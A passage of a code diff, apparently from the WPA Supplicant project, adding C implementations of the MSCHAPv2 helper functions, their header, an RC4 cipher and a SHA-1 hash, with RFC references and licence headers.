* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int generate_nt_response_pwhash(const u8 *auth_challenge,
|
||||
const u8 *peer_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *password_hash,
|
||||
u8 *response)
|
||||
{
|
||||
u8 challenge[8];
|
||||
|
||||
if (challenge_hash(peer_challenge, auth_challenge,
|
||||
username, username_len,
|
||||
challenge))
|
||||
return -1;
|
||||
challenge_response(challenge, password_hash, response);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* generate_authenticator_response_pwhash - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7
|
||||
* @password_hash: 16-octet PasswordHash (IN)
|
||||
* @nt_response: 24-octet NT-Response (IN)
|
||||
* @peer_challenge: 16-octet PeerChallenge (IN)
|
||||
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
|
||||
* @username: 0-to-256-char UserName (IN)
|
||||
* @username_len: Length of username
|
||||
* @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually
|
||||
* encoded as a 42-octet ASCII string (S=hexdump_of_response)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int generate_authenticator_response_pwhash(
|
||||
const u8 *password_hash,
|
||||
const u8 *peer_challenge, const u8 *auth_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *nt_response, u8 *response)
|
||||
{
|
||||
static const u8 magic1[39] = {
|
||||
0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76,
|
||||
0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65,
|
||||
0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67,
|
||||
0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74
|
||||
};
|
||||
static const u8 magic2[41] = {
|
||||
0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B,
|
||||
0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F,
|
||||
0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E,
|
||||
0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F,
|
||||
0x6E
|
||||
};
|
||||
|
||||
u8 password_hash_hash[16], challenge[8];
|
||||
const unsigned char *addr1[3];
|
||||
const size_t len1[3] = { 16, 24, sizeof(magic1) };
|
||||
const unsigned char *addr2[3];
|
||||
const size_t len2[3] = { SHA1_MAC_LEN, 8, sizeof(magic2) };
|
||||
|
||||
addr1[0] = password_hash_hash;
|
||||
addr1[1] = nt_response;
|
||||
addr1[2] = magic1;
|
||||
|
||||
addr2[0] = response;
|
||||
addr2[1] = challenge;
|
||||
addr2[2] = magic2;
|
||||
|
||||
if (hash_nt_password_hash(password_hash, password_hash_hash))
|
||||
return -1;
|
||||
if (sha1_vector(3, addr1, len1, response))
|
||||
return -1;
|
||||
|
||||
challenge_hash(peer_challenge, auth_challenge, username, username_len,
|
||||
challenge);
|
||||
return sha1_vector(3, addr2, len2, response);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* generate_authenticator_response - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7
|
||||
* @password: 0-to-256-unicode-char Password (IN; ASCII)
|
||||
* @password_len: Length of password
|
||||
* @nt_response: 24-octet NT-Response (IN)
|
||||
* @peer_challenge: 16-octet PeerChallenge (IN)
|
||||
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
|
||||
* @username: 0-to-256-char UserName (IN)
|
||||
* @username_len: Length of username
|
||||
* @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually
|
||||
* encoded as a 42-octet ASCII string (S=hexdump_of_response)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int generate_authenticator_response(const u8 *password, size_t password_len,
|
||||
const u8 *peer_challenge,
|
||||
const u8 *auth_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *nt_response, u8 *response)
|
||||
{
|
||||
u8 password_hash[16];
|
||||
if (nt_password_hash(password, password_len, password_hash))
|
||||
return -1;
|
||||
return generate_authenticator_response_pwhash(
|
||||
password_hash, peer_challenge, auth_challenge,
|
||||
username, username_len, nt_response, response);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* nt_challenge_response - NtChallengeResponse() - RFC 2433, Sect. A.5
|
||||
* @challenge: 8-octet Challenge (IN)
|
||||
* @password: 0-to-256-unicode-char Password (IN; ASCII)
|
||||
* @password_len: Length of password
|
||||
* @response: 24-octet Response (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int nt_challenge_response(const u8 *challenge, const u8 *password,
|
||||
size_t password_len, u8 *response)
|
||||
{
|
||||
u8 password_hash[16];
|
||||
if (nt_password_hash(password, password_len, password_hash))
|
||||
return -1;
|
||||
challenge_response(challenge, password_hash, response);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* get_master_key - GetMasterKey() - RFC 3079, Sect. 3.4
|
||||
* @password_hash_hash: 16-octet PasswordHashHash (IN)
|
||||
* @nt_response: 24-octet NTResponse (IN)
|
||||
* @master_key: 16-octet MasterKey (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int get_master_key(const u8 *password_hash_hash, const u8 *nt_response,
|
||||
u8 *master_key)
|
||||
{
|
||||
static const u8 magic1[27] = {
|
||||
0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74,
|
||||
0x68, 0x65, 0x20, 0x4d, 0x50, 0x50, 0x45, 0x20, 0x4d,
|
||||
0x61, 0x73, 0x74, 0x65, 0x72, 0x20, 0x4b, 0x65, 0x79
|
||||
};
|
||||
const unsigned char *addr[3];
|
||||
const size_t len[3] = { 16, 24, sizeof(magic1) };
|
||||
u8 hash[SHA1_MAC_LEN];
|
||||
|
||||
addr[0] = password_hash_hash;
|
||||
addr[1] = nt_response;
|
||||
addr[2] = magic1;
|
||||
|
||||
if (sha1_vector(3, addr, len, hash))
|
||||
return -1;
|
||||
os_memcpy(master_key, hash, 16);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* get_asymetric_start_key - GetAsymetricStartKey() - RFC 3079, Sect. 3.4
|
||||
* @master_key: 16-octet MasterKey (IN)
|
||||
* @session_key: 8-to-16 octet SessionKey (OUT)
|
||||
* @session_key_len: SessionKeyLength (Length of session_key) (IN)
|
||||
* @is_send: IsSend (IN, BOOLEAN)
|
||||
* @is_server: IsServer (IN, BOOLEAN)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int get_asymetric_start_key(const u8 *master_key, u8 *session_key,
|
||||
size_t session_key_len, int is_send,
|
||||
int is_server)
|
||||
{
|
||||
static const u8 magic2[84] = {
|
||||
0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20,
|
||||
0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68,
|
||||
0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79,
|
||||
0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73,
|
||||
0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65,
|
||||
0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68,
|
||||
0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20,
|
||||
0x6b, 0x65, 0x79, 0x2e
|
||||
};
|
||||
static const u8 magic3[84] = {
|
||||
0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20,
|
||||
0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68,
|
||||
0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20,
|
||||
0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68,
|
||||
0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73,
|
||||
0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73,
|
||||
0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20,
|
||||
0x6b, 0x65, 0x79, 0x2e
|
||||
};
|
||||
static const u8 shs_pad1[40] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
static const u8 shs_pad2[40] = {
|
||||
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
|
||||
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
|
||||
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
|
||||
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2
|
||||
};
|
||||
u8 digest[SHA1_MAC_LEN];
|
||||
const unsigned char *addr[4];
|
||||
const size_t len[4] = { 16, 40, 84, 40 };
|
||||
|
||||
addr[0] = master_key;
|
||||
addr[1] = shs_pad1;
|
||||
if (is_send) {
|
||||
addr[2] = is_server ? magic3 : magic2;
|
||||
} else {
|
||||
addr[2] = is_server ? magic2 : magic3;
|
||||
}
|
||||
addr[3] = shs_pad2;
|
||||
|
||||
if (sha1_vector(4, addr, len, digest))
|
||||
return -1;
|
||||
|
||||
if (session_key_len > SHA1_MAC_LEN)
|
||||
session_key_len = SHA1_MAC_LEN;
|
||||
os_memcpy(session_key, digest, session_key_len);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#define PWBLOCK_LEN 516
|
||||
|
||||
/**
|
||||
* encrypt_pw_block_with_password_hash - EncryptPwBlockWithPasswordHash() - RFC 2759, Sect. 8.10
|
||||
* @password: 0-to-256-unicode-char Password (IN; ASCII)
|
||||
* @password_len: Length of password
|
||||
* @password_hash: 16-octet PasswordHash (IN)
|
||||
* @pw_block: 516-byte PwBlock (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int encrypt_pw_block_with_password_hash(
|
||||
const u8 *password, size_t password_len,
|
||||
const u8 *password_hash, u8 *pw_block)
|
||||
{
|
||||
size_t i, offset;
|
||||
u8 *pos;
|
||||
|
||||
if (password_len > 256)
|
||||
return -1;
|
||||
|
||||
os_memset(pw_block, 0, PWBLOCK_LEN);
|
||||
offset = (256 - password_len) * 2;
|
||||
if (os_get_random(pw_block, offset) < 0)
|
||||
return -1;
|
||||
for (i = 0; i < password_len; i++)
|
||||
pw_block[offset + i * 2] = password[i];
|
||||
/*
|
||||
* PasswordLength is 4 octets, but since the maximum password length is
|
||||
* 256, only first two (in little endian byte order) can be non-zero.
|
||||
*/
|
||||
pos = &pw_block[2 * 256];
|
||||
WPA_PUT_LE16(pos, password_len * 2);
|
||||
rc4_skip(password_hash, 16, 0, pw_block, PWBLOCK_LEN);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* new_password_encrypted_with_old_nt_password_hash - NewPasswordEncryptedWithOldNtPasswordHash() - RFC 2759, Sect. 8.9
|
||||
* @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII)
|
||||
* @new_password_len: Length of new_password
|
||||
* @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII)
|
||||
* @old_password_len: Length of old_password
|
||||
* @encrypted_pw_block: 516-octet EncryptedPwBlock (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int new_password_encrypted_with_old_nt_password_hash(
|
||||
const u8 *new_password, size_t new_password_len,
|
||||
const u8 *old_password, size_t old_password_len,
|
||||
u8 *encrypted_pw_block)
|
||||
{
|
||||
u8 password_hash[16];
|
||||
|
||||
if (nt_password_hash(old_password, old_password_len, password_hash))
|
||||
return -1;
|
||||
if (encrypt_pw_block_with_password_hash(new_password, new_password_len,
|
||||
password_hash,
|
||||
encrypted_pw_block))
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* nt_password_hash_encrypted_with_block - NtPasswordHashEncryptedWithBlock() - RFC 2759, Sect 8.13
|
||||
* @password_hash: 16-octer PasswordHash (IN)
|
||||
* @block: 16-octet Block (IN)
|
||||
* @cypher: 16-octer Cypher (OUT)
|
||||
*/
|
||||
void nt_password_hash_encrypted_with_block(const u8 *password_hash,
|
||||
const u8 *block, u8 *cypher)
|
||||
{
|
||||
des_encrypt(password_hash, block, cypher);
|
||||
des_encrypt(password_hash + 8, block + 7, cypher + 8);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* old_nt_password_hash_encrypted_with_new_nt_password_hash - OldNtPasswordHashEncryptedWithNewNtPasswordHash() - RFC 2759, Sect. 8.12
|
||||
* @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII)
|
||||
* @new_password_len: Length of new_password
|
||||
* @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII)
|
||||
* @old_password_len: Length of old_password
|
||||
* @encrypted_password_hash: 16-octet EncryptedPasswordHash (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int old_nt_password_hash_encrypted_with_new_nt_password_hash(
|
||||
const u8 *new_password, size_t new_password_len,
|
||||
const u8 *old_password, size_t old_password_len,
|
||||
u8 *encrypted_password_hash)
|
||||
{
|
||||
u8 old_password_hash[16], new_password_hash[16];
|
||||
|
||||
if (nt_password_hash(old_password, old_password_len,
|
||||
old_password_hash) ||
|
||||
nt_password_hash(new_password, new_password_len,
|
||||
new_password_hash))
|
||||
return -1;
|
||||
nt_password_hash_encrypted_with_block(old_password_hash,
|
||||
new_password_hash,
|
||||
encrypted_password_hash);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,64 @@
|
|||
/*
|
||||
* WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef MS_FUNCS_H
|
||||
#define MS_FUNCS_H
|
||||
|
||||
int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *password, size_t password_len,
|
||||
u8 *response);
|
||||
int generate_nt_response_pwhash(const u8 *auth_challenge,
|
||||
const u8 *peer_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *password_hash,
|
||||
u8 *response);
|
||||
int generate_authenticator_response(const u8 *password, size_t password_len,
|
||||
const u8 *peer_challenge,
|
||||
const u8 *auth_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *nt_response, u8 *response);
|
||||
int generate_authenticator_response_pwhash(
|
||||
const u8 *password_hash,
|
||||
const u8 *peer_challenge, const u8 *auth_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *nt_response, u8 *response);
|
||||
int nt_challenge_response(const u8 *challenge, const u8 *password,
|
||||
size_t password_len, u8 *response);
|
||||
|
||||
void challenge_response(const u8 *challenge, const u8 *password_hash,
|
||||
u8 *response);
|
||||
int nt_password_hash(const u8 *password, size_t password_len,
|
||||
u8 *password_hash);
|
||||
int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash);
|
||||
int get_master_key(const u8 *password_hash_hash, const u8 *nt_response,
|
||||
u8 *master_key);
|
||||
int get_asymetric_start_key(const u8 *master_key, u8 *session_key,
|
||||
size_t session_key_len, int is_send,
|
||||
int is_server);
|
||||
int __must_check encrypt_pw_block_with_password_hash(
|
||||
const u8 *password, size_t password_len,
|
||||
const u8 *password_hash, u8 *pw_block);
|
||||
int __must_check new_password_encrypted_with_old_nt_password_hash(
|
||||
const u8 *new_password, size_t new_password_len,
|
||||
const u8 *old_password, size_t old_password_len,
|
||||
u8 *encrypted_pw_block);
|
||||
void nt_password_hash_encrypted_with_block(const u8 *password_hash,
|
||||
const u8 *block, u8 *cypher);
|
||||
int old_nt_password_hash_encrypted_with_new_nt_password_hash(
|
||||
const u8 *new_password, size_t new_password_len,
|
||||
const u8 *old_password, size_t old_password_len,
|
||||
u8 *encrypted_password_hash);
|
||||
|
||||
#endif /* MS_FUNCS_H */
|
|
@ -0,0 +1,60 @@
|
|||
/*
|
||||
* RC4 stream cipher
|
||||
* Copyright (c) 2002-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
#define S_SWAP(a,b) do { u8 t = S[a]; S[a] = S[b]; S[b] = t; } while(0)
|
||||
|
||||
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
|
||||
u8 *data, size_t data_len)
|
||||
{
|
||||
u32 i, j, k;
|
||||
u8 S[256], *pos;
|
||||
size_t kpos;
|
||||
|
||||
/* Setup RC4 state */
|
||||
for (i = 0; i < 256; i++)
|
||||
S[i] = i;
|
||||
j = 0;
|
||||
kpos = 0;
|
||||
for (i = 0; i < 256; i++) {
|
||||
j = (j + S[i] + key[kpos]) & 0xff;
|
||||
kpos++;
|
||||
if (kpos >= keylen)
|
||||
kpos = 0;
|
||||
S_SWAP(i, j);
|
||||
}
|
||||
|
||||
/* Skip the start of the stream */
|
||||
i = j = 0;
|
||||
for (k = 0; k < skip; k++) {
|
||||
i = (i + 1) & 0xff;
|
||||
j = (j + S[i]) & 0xff;
|
||||
S_SWAP(i, j);
|
||||
}
|
||||
|
||||
/* Apply RC4 to data */
|
||||
pos = data;
|
||||
for (k = 0; k < data_len; k++) {
|
||||
i = (i + 1) & 0xff;
|
||||
j = (j + S[i]) & 0xff;
|
||||
S_SWAP(i, j);
|
||||
*pos++ ^= S[(S[i] + S[j]) & 0xff];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,308 @@
|
|||
/*
|
||||
* SHA1 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha1.h"
|
||||
#include "sha1_i.h"
|
||||
#include "md5.h"
|
||||
#include "crypto.h"
|
||||
|
||||
typedef struct SHA1Context SHA1_CTX;
|
||||
|
||||
void SHA1Transform(u32 state[5], const unsigned char buffer[64]);
|
||||
|
||||
|
||||
/**
|
||||
* sha1_vector - SHA-1 hash for data vector
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 of failure
|
||||
*/
|
||||
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
SHA1_CTX ctx;
|
||||
size_t i;
|
||||
|
||||
SHA1Init(&ctx);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
SHA1Update(&ctx, addr[i], len[i]);
|
||||
SHA1Final(mac, &ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* ===== start - public domain SHA1 implementation ===== */
|
||||
|
||||
/*
|
||||
SHA-1 in C
|
||||
By Steve Reid <sreid@sea-to-sky.net>
|
||||
100% Public Domain
|
||||
|
||||
-----------------
|
||||
Modified 7/98
|
||||
By James H. Brown <jbrown@burgoyne.com>
|
||||
Still 100% Public Domain
|
||||
|
||||
Corrected a problem which generated improper hash values on 16 bit machines
|
||||
Routine SHA1Update changed from
|
||||
void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned int
|
||||
len)
|
||||
to
|
||||
void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned
|
||||
long len)
|
||||
|
||||
The 'len' parameter was declared an int which works fine on 32 bit machines.
|
||||
However, on 16 bit machines an int is too small for the shifts being done
|
||||
against
|
||||
it. This caused the hash function to generate incorrect values if len was
|
||||
greater than 8191 (8K - 1) due to the 'len << 3' on line 3 of SHA1Update().
|
||||
|
||||
Since the file IO in main() reads 16K at a time, any file 8K or larger would
|
||||
be guaranteed to generate the wrong hash (e.g. Test Vector #3, a million
|
||||
"a"s).
|
||||
|
||||
I also changed the declaration of variables i & j in SHA1Update to
|
||||
unsigned long from unsigned int for the same reason.
|
||||
|
||||
These changes should make no difference to any 32 bit implementations since
|
||||
an
|
||||
int and a long are the same size in those environments.
|
||||
|
||||
--
|
||||
I also corrected a few compiler warnings generated by Borland C.
|
||||
1. Added #include <process.h> for exit() prototype
|
||||
2. Removed unused variable 'j' in SHA1Final
|
||||
3. Changed exit(0) to return(0) at end of main.
|
||||
|
||||
ALL changes I made can be located by searching for comments containing 'JHB'
|
||||
-----------------
|
||||
Modified 8/98
|
||||
By Steve Reid <sreid@sea-to-sky.net>
|
||||
Still 100% public domain
|
||||
|
||||
1- Removed #include <process.h> and used return() instead of exit()
|
||||
2- Fixed overwriting of finalcount in SHA1Final() (discovered by Chris Hall)
|
||||
3- Changed email address from steve@edmweb.com to sreid@sea-to-sky.net
|
||||
|
||||
-----------------
|
||||
Modified 4/01
|
||||
By Saul Kravitz <Saul.Kravitz@celera.com>
|
||||
Still 100% PD
|
||||
Modified to run on Compaq Alpha hardware.
|
||||
|
||||
-----------------
|
||||
Modified 4/01
|
||||
By Jouni Malinen <j@w1.fi>
|
||||
Minor changes to match the coding style used in Dynamics.
|
||||
|
||||
Modified September 24, 2004
|
||||
By Jouni Malinen <j@w1.fi>
|
||||
Fixed alignment issue in SHA1Transform when SHA1HANDSOFF is defined.
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Test Vectors (from FIPS PUB 180-1)
|
||||
"abc"
|
||||
A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D
|
||||
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
|
||||
84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1
|
||||
A million repetitions of "a"
|
||||
34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F
|
||||
*/
|
||||
|
||||
#define SHA1HANDSOFF
|
||||
|
||||
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
|
||||
|
||||
/* blk0() and blk() perform the initial expand. */
|
||||
/* I got the idea of expanding during the round function from SSLeay */
|
||||
#ifndef WORDS_BIGENDIAN
|
||||
#define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \
|
||||
(rol(block->l[i], 8) & 0x00FF00FF))
|
||||
#else
|
||||
#define blk0(i) block->l[i]
|
||||
#endif
|
||||
#define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \
|
||||
block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1))
|
||||
|
||||
/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */
|
||||
#define R0(v,w,x,y,z,i) \
|
||||
z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \
|
||||
w = rol(w, 30);
|
||||
#define R1(v,w,x,y,z,i) \
|
||||
z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \
|
||||
w = rol(w, 30);
|
||||
#define R2(v,w,x,y,z,i) \
|
||||
z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30);
|
||||
#define R3(v,w,x,y,z,i) \
|
||||
z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \
|
||||
w = rol(w, 30);
|
||||
#define R4(v,w,x,y,z,i) \
|
||||
z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \
|
||||
w=rol(w, 30);
|
||||
|
||||
|
||||
#ifdef VERBOSE /* SAK */
|
||||
void SHAPrintContext(SHA1_CTX *context, char *msg)
|
||||
{
|
||||
printf("%s (%d,%d) %x %x %x %x %x\n",
|
||||
msg,
|
||||
context->count[0], context->count[1],
|
||||
context->state[0],
|
||||
context->state[1],
|
||||
context->state[2],
|
||||
context->state[3],
|
||||
context->state[4]);
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Hash a single 512-bit block. This is the core of the algorithm. */
|
||||
|
||||
void SHA1Transform(u32 state[5], const unsigned char buffer[64])
|
||||
{
|
||||
u32 a, b, c, d, e;
|
||||
typedef union {
|
||||
unsigned char c[64];
|
||||
u32 l[16];
|
||||
} CHAR64LONG16;
|
||||
CHAR64LONG16* block;
|
||||
#ifdef SHA1HANDSOFF
|
||||
CHAR64LONG16 workspace;
|
||||
block = &workspace;
|
||||
os_memcpy(block, buffer, 64);
|
||||
#else
|
||||
block = (CHAR64LONG16 *) buffer;
|
||||
#endif
|
||||
/* Copy context->state[] to working vars */
|
||||
a = state[0];
|
||||
b = state[1];
|
||||
c = state[2];
|
||||
d = state[3];
|
||||
e = state[4];
|
||||
/* 4 rounds of 20 operations each. Loop unrolled. */
|
||||
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
|
||||
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
|
||||
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
|
||||
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
|
||||
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
|
||||
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
|
||||
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
|
||||
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
|
||||
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
|
||||
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
|
||||
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
|
||||
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
|
||||
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
|
||||
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
|
||||
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
|
||||
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
|
||||
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
|
||||
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
|
||||
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
|
||||
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
|
||||
/* Add the working vars back into context.state[] */
|
||||
state[0] += a;
|
||||
state[1] += b;
|
||||
state[2] += c;
|
||||
state[3] += d;
|
||||
state[4] += e;
|
||||
/* Wipe variables */
|
||||
a = b = c = d = e = 0;
|
||||
